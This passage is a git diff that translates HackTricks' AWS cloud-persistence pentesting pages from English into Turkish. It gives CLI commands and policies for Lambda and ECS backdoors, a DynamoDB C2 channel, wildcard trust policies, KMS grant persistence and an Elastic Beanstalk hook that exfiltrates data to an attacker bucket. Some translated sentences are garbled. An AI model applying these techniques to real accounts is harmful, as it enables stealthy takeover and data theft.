nasıl yapacağınızı kontrol edin {{#ref}} ../aws-privilege-escalation/aws-cognito-privesc.md @@ -29,18 +29,12 @@ Check how to do these actions in ### `cognito-idp:SetRiskConfiguration` -An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options: - +Bu yetkiye sahip bir saldırgan, bir Cognito kullanıcısı olarak giriş yapabilmek için risk yapılandırmasını değiştirebilir **alarm tetiklenmeden**. [**CLI'yi kontrol edin**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) tüm seçenekleri görmek için: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` - -By default this is disabled: +Varsayılan olarak bu devre dışıdır:
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 75a824e73..c709bdcde 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -1,67 +1,59 @@ -# AWS - DynamoDB Persistence +# AWS - DynamoDB Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ### DynamoDB -For more information access: +Daha fazla bilgi için erişin: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -### DynamoDB Triggers with Lambda Backdoor - -Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account. +### Lambda Arka Kapısı ile DynamoDB Tetikleyicileri +DynamoDB tetikleyicilerini kullanarak, bir saldırgan bir tabloyla kötü niyetli bir Lambda fonksiyonu ilişkilendirerek **gizli bir arka kapı** oluşturabilir. Lambda fonksiyonu bir öğe eklendiğinde, değiştirildiğinde veya silindiğinde tetiklenebilir, bu da saldırgana AWS hesabı içinde rastgele kod çalıştırma imkanı tanır. ```bash # Create a malicious Lambda function aws lambda create-function \ - --function-name MaliciousFunction \ - --runtime nodejs14.x \ - --role \ - --handler index.handler \ - --zip-file fileb://malicious_function.zip \ - --region +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region # Associate the Lambda function with the DynamoDB table as a trigger aws dynamodbstreams describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region # Note the "StreamArn" from the output aws lambda create-event-source-mapping \ - --function-name MaliciousFunction \ - --event-source \ - --region +--function-name MaliciousFunction \ +--event-source \ +--region ``` +Sürekliliği sağlamak için, saldırgan DynamoDB tablosunda öğeler oluşturabilir veya bunları değiştirebilir, bu da kötü niyetli Lambda fonksiyonunu tetikler. Bu, saldırgana Lambda fonksiyonu ile doğrudan etkileşim olmadan AWS hesabı içinde kod çalıştırma imkanı tanır. -To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function. - -### DynamoDB as a C2 Channel - -An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands. +### DynamoDB C2 Kanalı Olarak +Bir saldırgan, komutlar içeren öğeler oluşturarak ve ele geçirilmiş örnekler veya Lambda fonksiyonları kullanarak bu komutları almak ve çalıştırmak için bir DynamoDB tablosunu **komut ve kontrol (C2) kanalı** olarak kullanabilir. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ - --table-name C2Table \ - --attribute-definitions AttributeName=CommandId,AttributeType=S \ - --key-schema AttributeName=CommandId,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --region +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region # Insert a command into the table aws dynamodb put-item \ - --table-name C2Table \ - --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ - --region +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region ``` - -The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources. +Kompromize edilmiş örnekler veya Lambda fonksiyonları, yeni komutlar için C2 tablosunu periyodik olarak kontrol edebilir, bunları çalıştırabilir ve isteğe bağlı olarak sonuçları tabloya geri raporlayabilir. Bu, saldırgana, kompromize edilmiş kaynaklar üzerinde kalıcılık ve kontrol sağlama imkanı tanır. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index b52ac9e85..80c40e816 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -1,58 +1,54 @@ -# AWS - EC2 Persistence +# AWS - EC2 Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## EC2 -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Security Group Connection Tracking Persistence +### Güvenlik Grubu Bağlantı İzleme Sürekliliği -If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic. +Eğer bir savunucu **EC2 örneğinin ele geçirildiğini** fark ederse, muhtemelen makinenin **ağını izole etmeye** çalışacaktır. Bunu açık bir **Deny NACL** ile yapabilir (ancak NACL'ler tüm alt ağa etki eder), ya da **herhangi bir türde gelen veya giden** trafiğe izin vermeyen **güvenlik grubunu değiştirebilir**. -If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** +Eğer saldırganın makineden kaynaklanan bir **ters kabuk** varsa, SG gelen veya giden trafiğe izin vermeyecek şekilde değiştirilse bile, **bağlantı** [**Güvenlik Grubu Bağlantı İzleme**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** nedeniyle kesilmeyecektir.** -### EC2 Lifecycle Manager +### EC2 Yaşam Döngüsü Yöneticisi -This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\ -An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**. +Bu hizmet, **AMI'lerin ve anlık görüntülerin oluşturulmasını** **planlamaya** ve hatta **başka hesaplarla paylaşmaya** olanak tanır.\ +Bir saldırgan, **her hafta** tüm görüntülerin veya tüm hacimlerin **AMI'lerini veya anlık görüntülerini oluşturmak için** yapılandırma yapabilir ve **kendi hesabıyla paylaşabilir**. -### Scheduled Instances +### Planlı Örnekler -It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access. +Örneklerin günlük, haftalık veya hatta aylık olarak çalıştırılması mümkündür. Bir saldırgan, erişebileceği yüksek ayrıcalıklara sahip bir makine çalıştırabilir. -### Spot Fleet Request +### Spot Filosu Talebi -Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**. +Spot örnekleri, normal örneklerden **daha ucuzdur**. Bir saldırgan, **otomatik IP** ataması ve saldırgana **spot örneği başladığında** ve **IP adresi** ile ilgili bilgi gönderen bir **kullanıcı verisi** ile **5 yıl için küçük bir spot filosu talebi** başlatabilir (örneğin). -### Backdoor Instances +### Arka Kapı Örnekleri -An attacker could get access to the instances and backdoor them: +Bir saldırgan, örneklere erişebilir ve bunları arka kapı ile ele geçirebilir: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Backdooring the **User Data** +- Örneğin geleneksel bir **rootkit** kullanarak +- Yeni bir **genel SSH anahtarı** ekleyerek (bakınız [EC2 ayrıcalık yükseltme seçenekleri](../aws-privilege-escalation/aws-ec2-privesc.md)) +- **Kullanıcı Verisini** arka kapı ile ele geçirerek -### **Backdoor Launch Configuration** +### **Arka Kapı Başlatma Yapılandırması** -- Backdoor the used AMI -- Backdoor the User Data -- Backdoor the Key Pair +- Kullanılan AMI'yi arka kapı ile ele geçirmek +- Kullanıcı Verisini arka kapı ile ele geçirmek +- Anahtar Çifti'ni arka kapı ile ele geçirmek ### VPN -Create a VPN so the attacker will be able to connect directly through i to the VPC. +Saldırganın VPC'ye doğrudan bağlanabilmesi için bir VPN oluşturun. ### VPC Peering -Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC. +Kurban VPC ile saldırgan VPC arasında bir peering bağlantısı oluşturun, böylece kurban VPC'ye erişebilir. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 07928fbd4..1cd9c21b2 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -1,101 +1,91 @@ -# AWS - ECR Persistence +# AWS - ECR Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## ECR -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Hidden Docker Image with Malicious Code +### Kötü Amaçlı Kod İçeren Gizli Docker Görüntüsü -An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner. +Bir saldırgan, **kötü amaçlı kod içeren bir Docker görüntüsünü** bir ECR deposuna yükleyebilir ve bunu hedef AWS hesabında sürekliliği sağlamak için kullanabilir. Saldırgan daha sonra kötü amaçlı görüntüyü, Amazon ECS veya EKS gibi hesap içindeki çeşitli hizmetlere gizlice dağıtabilir. -### Repository Policy - -Add a policy to a single repository granting yourself (or everybody) access to a repository: +### Depo Politikası +Kendinize (veya herkese) bir depoya erişim izni veren bir politika ekleyin: ```bash aws ecr set-repository-policy \ - --repository-name cluster-autoscaler \ - --policy-text file:///tmp/my-policy.json +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json # With a .json such as { - "Version" : "2008-10-17", - "Statement" : [ - { - "Sid" : "allow public pull", - "Effect" : "Allow", - "Principal" : "*", - "Action" : [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - > [!WARNING] -> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository. +> ECR'nin, kullanıcıların bir IAM politikası aracılığıyla **`ecr:GetAuthorizationToken`** API'sine çağrı yapma **izinlerine** sahip olmalarını gerektirdiğini unutmayın; bu, bir kayıt defterine kimlik doğrulaması yapmadan ve herhangi bir Amazon ECR deposundan görüntüleri itip çekmeden önce gereklidir. -### Registry Policy & Cross-account Replication +### Kayıt Defteri Politikası ve Hesaplar Arası Çoğaltma -It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry. +Kayıt defterini dış bir hesapta otomatik olarak çoğaltmak mümkündür; burada, kayıt defterini çoğaltmak istediğiniz **dış hesabı** belirtmeniz gerekir.
-First, you need to give the external account access over the registry with a **registry policy** like: - +Öncelikle, dış hesaba kayıt defteri üzerinde erişim vermeniz gerekir; bu, aşağıdaki gibi bir **kayıt defteri politikası** ile yapılabilir: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json # With a .json like: { - "Sid": "asdasd", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::947247140022:root" - }, - "Action": [ - "ecr:CreateRepository", - "ecr:ReplicateImage" - ], - "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" } ``` - -Then apply the replication config: - +Sonra çoğaltma yapılandırmasını uygulayın: ```bash aws ecr put-replication-configuration \ - --replication-configuration file://replication-settings.json \ - --region us-west-2 +--replication-configuration file://replication-settings.json \ +--region us-west-2 # Having the .json a content such as: { - "rules": [{ - "destinations": [{ - "region": "destination_region", - "registryId": "destination_accountId" - }], - "repositoryFilters": [{ - "filter": "repository_prefix_name", - "filterType": "PREFIX_MATCH" - }] - }] +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 988626c8f..94b25b8cf 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -1,32 +1,31 @@ -# AWS - ECS Persistence +# AWS - ECS Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## ECS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Hidden Periodic ECS Task +### Gizli Periyodik ECS Görevi > [!NOTE] > TODO: Test -An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account. - +Bir saldırgan, Amazon EventBridge kullanarak **kötü niyetli bir görevin periyodik olarak yürütülmesini planlamak için gizli bir periyodik ECS görevi oluşturabilir**. Bu görev, keşif yapabilir, veri sızdırabilir veya AWS hesabında sürekliliği sürdürebilir. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an Amazon EventBridge rule to trigger the task periodically @@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate # Add a target to the rule to run the malicious ECS task aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ - { - "Id": "malicious-ecs-task-target", - "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", - "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", - "EcsParameters": { - "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", - "TaskCount": 1 - } - } +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} ]' ``` - -### Backdoor Container in Existing ECS Task Definition +### Mevcut ECS Görev Tanımında Arka Kapı Konteyneri > [!NOTE] > TODO: Test -An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities. - +Bir saldırgan, meşru konteynerlerle birlikte çalışan mevcut bir ECS görev tanımına **gizli bir arka kapı konteyneri** ekleyebilir. Arka kapı konteyneri, kalıcılık sağlamak ve kötü niyetli faaliyetler gerçekleştirmek için kullanılabilir. ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ - { - "name": "legitimate-container", - "image": "legitimate-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - }, - { - "name": "backdoor-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": false - } +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} ]' ``` - -### Undocumented ECS Service +### Belgesiz ECS Servisi > [!NOTE] > TODO: Test -An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service. - +Bir saldırgan, kötü niyetli bir görevi çalıştıran **belgesiz bir ECS servisi** oluşturabilir. Görevlerin istenen sayısını en aza indirip günlüklemeyi devre dışı bırakarak, yöneticilerin kötü niyetli servisi fark etmesi zorlaşır. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an undocumented ECS service with the malicious task definition aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index bdb282d41..9eeca49a3 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -1,25 +1,21 @@ -# AWS - EFS Persistence +# AWS - EFS Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## EFS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -### Modify Resource Policy / Security Groups +### Kaynak Politikasını / Güvenlik Gruplarını Değiştir -Modifying the **resource policy and/or security groups** you can try to persist your access into the file system. +**kaynak politikasını ve/veya güvenlik gruplarını** değiştirerek dosya sistemine erişiminizi sürdürebilirsiniz. -### Create Access Point +### Erişim Noktası Oluştur -You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system. +**erişim noktası oluşturabilirsiniz** (kök erişimi ile `/`), dosya sistemine ayrıcalıklı erişimi sürdürmek için **diğer süreklilik** uyguladığınız bir hizmetten erişilebilir. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index c55e0e2ba..32362170e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -1,34 +1,33 @@ -# AWS - Elastic Beanstalk Persistence +# AWS - Elastic Beanstalk Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Persistence in Instance +### Instance İçinde Süreklilik -In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**. +AWS hesabında sürekliliği sağlamak için, **instance içinde bazı süreklilik mekanizmaları tanıtılabilir** (cron işi, ssh anahtarı...) böylece saldırgan erişim sağlayabilir ve IAM rolü **kimlik bilgilerini metadata hizmetinden** çalabilir. -### Backdoor in Version +### Versiyonda Arka Kapı -An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code. +Bir saldırgan, S3 deposundaki kodu arka kapı ile değiştirebilir, böylece her zaman arka kapısını ve beklenen kodu çalıştırır. -### New backdoored version +### Yeni Arka Kapılı Versiyon -Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application. +Saldırgan, mevcut versiyondaki kodu değiştirmek yerine, uygulamanın yeni bir arka kapılı versiyonunu dağıtabilir. -### Abusing Custom Resource Lifecycle Hooks +### Özel Kaynak Yaşam Döngüsü Kancalarının Suistimali > [!NOTE] > TODO: Test -Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**. - +Elastic Beanstalk, instance sağlama ve sonlandırma sırasında özel betikler çalıştırmanıza olanak tanıyan yaşam döngüsü kancaları sağlar. Bir saldırgan, **AWS hesabına erişimi sürdürmek veya veri sızdıran bir betiği periyodik olarak çalıştırmak için bir yaşam döngüsü kancası yapılandırabilir**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash @@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo # Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook echo 'Resources: - AWSEBAutoScalingGroup: - Metadata: - AWS::ElasticBeanstalk::Ext: - TriggerConfiguration: - triggers: - - name: stealthy-lifecycle-hook - events: - - "autoscaling:EC2_INSTANCE_LAUNCH" - - "autoscaling:EC2_INSTANCE_TERMINATE" - target: - ref: "AWS::ElasticBeanstalk::Environment" - arn: - Fn::GetAtt: - - "AWS::ElasticBeanstalk::Environment" - - "Arn" - stealthyLifecycleHook: - Type: AWS::AutoScaling::LifecycleHook - Properties: - AutoScalingGroupName: - Ref: AWSEBAutoScalingGroup - LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING - NotificationTargetARN: - Ref: stealthy-lifecycle-hook - RoleARN: - Fn::GetAtt: - - AWSEBAutoScalingGroup - - Arn' > stealthy_lifecycle_hook.yaml +AWSEBAutoScalingGroup: +Metadata: +AWS::ElasticBeanstalk::Ext: +TriggerConfiguration: +triggers: +- name: stealthy-lifecycle-hook +events: +- "autoscaling:EC2_INSTANCE_LAUNCH" +- "autoscaling:EC2_INSTANCE_TERMINATE" +target: +ref: "AWS::ElasticBeanstalk::Environment" +arn: +Fn::GetAtt: +- "AWS::ElasticBeanstalk::Environment" +- "Arn" +stealthyLifecycleHook: +Type: AWS::AutoScaling::LifecycleHook +Properties: +AutoScalingGroupName: +Ref: AWSEBAutoScalingGroup +LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING +NotificationTargetARN: +Ref: stealthy-lifecycle-hook +RoleARN: +Fn::GetAtt: +- AWSEBAutoScalingGroup +- Arn' > stealthy_lifecycle_hook.yaml # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index e3e1944e7..17e0fe573 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -1,53 +1,47 @@ -# AWS - IAM Persistence +# AWS - IAM Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## IAM -For more information access: +Daha fazla bilgi için erişin: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### Common IAM Persistence +### Yaygın IAM Sürekliliği -- Create a user -- Add a controlled user to a privileged group -- Create access keys (of the new user or of all users) -- Grant extra permissions to controlled users/groups (attached policies or inline policies) -- Disable MFA / Add you own MFA device -- Create a Role Chain Juggling situation (more on this below in STS persistence) +- Bir kullanıcı oluştur +- Kontrol edilen bir kullanıcıyı ayrıcalıklı bir gruba ekle +- Erişim anahtarları oluştur (yeni kullanıcının veya tüm kullanıcıların) +- Kontrol edilen kullanıcılara/gruplara ek izinler ver (ekli politikalar veya satır içi politikalar) +- MFA'yı devre dışı bırak / Kendi MFA cihazını ekle +- Bir Rol Zinciri Jonglör durumu oluştur (bununla ilgili daha fazla bilgi aşağıda STS sürekliliğinde) -### Backdoor Role Trust Policies - -You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone): +### Arka Kapı Rol Güven Politikaları +Bir güven politikasını arka kapı ile oluşturabilir ve bunu sizin kontrolünüzdeki bir dış kaynak için üstlenebilirsiniz (veya herkes için): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": ["*", "arn:aws:iam::123213123123:root"] - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] } ``` +### Arka Kapı Politika Versiyonu -### Backdoor Policy Version +Bir politikaya, son versiyonu değil, Yönetici izinleri verin (son versiyon meşru görünmelidir), ardından o politikanın versiyonunu kontrol edilen bir kullanıcı/gruba atayın. -Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group. +### Arka Kapı / Kimlik Sağlayıcı Oluştur -### Backdoor / Create Identity Provider - -If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them. +Eğer hesap zaten yaygın bir kimlik sağlayıcıya (örneğin Github) güveniyorsa, güvenin koşulları artırılabilir, böylece saldırgan bunları kötüye kullanabilir. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 7aefbd410..dce508d41 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -1,43 +1,37 @@ -# AWS - KMS Persistence +# AWS - KMS Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## KMS -For mor information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Grant acces via KMS policies +### KMS politikaları aracılığıyla erişim verme -An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information. +Bir saldırgan, **`kms:PutKeyPolicy`** iznini kullanarak bir anahtara kontrolü altındaki bir kullanıcıya veya hatta bir dış hesaba **erişim verebilir**. Daha fazla bilgi için [**KMS Privesc sayfasını**](../aws-privilege-escalation/aws-kms-privesc.md) kontrol edin. -### Eternal Grant +### Sonsuz İzin -Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key. +İzinler, bir anahtar üzerinde bir ilkeye bazı izinler vermenin başka bir yoludur. Bir kullanıcının izin oluşturmasına olanak tanıyan bir izin vermek mümkündür. Ayrıca, bir kullanıcının aynı anahtar üzerinde birden fazla izin (hatta aynı) olması mümkündür. -Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated. - -(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant) +Bu nedenle, bir kullanıcının tüm izinlere sahip 10 izni olması mümkündür. Saldırgan bunun sürekli olarak izlenmesi gerektiğini bilmelidir. Ve eğer bir noktada 1 izin kaldırılırsa, başka 10 izin oluşturulmalıdır. +(Bir iznin kaldırıldığını tespit edebilmek için 10 kullanıyoruz ve 2 değil, çünkü kullanıcı hala bazı izinlere sahip.) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ - --key-id \ - --grantee-principal \ - --operations "CreateGrant" "Decrypt" +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" # To monitor grants aws kms list-grants --key-id ``` - > [!NOTE] -> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> Bir grant yalnızca şu izinleri verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 1390c2d55..e649eec4f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -1,68 +1,64 @@ -# AWS - Lambda Persistence +# AWS - 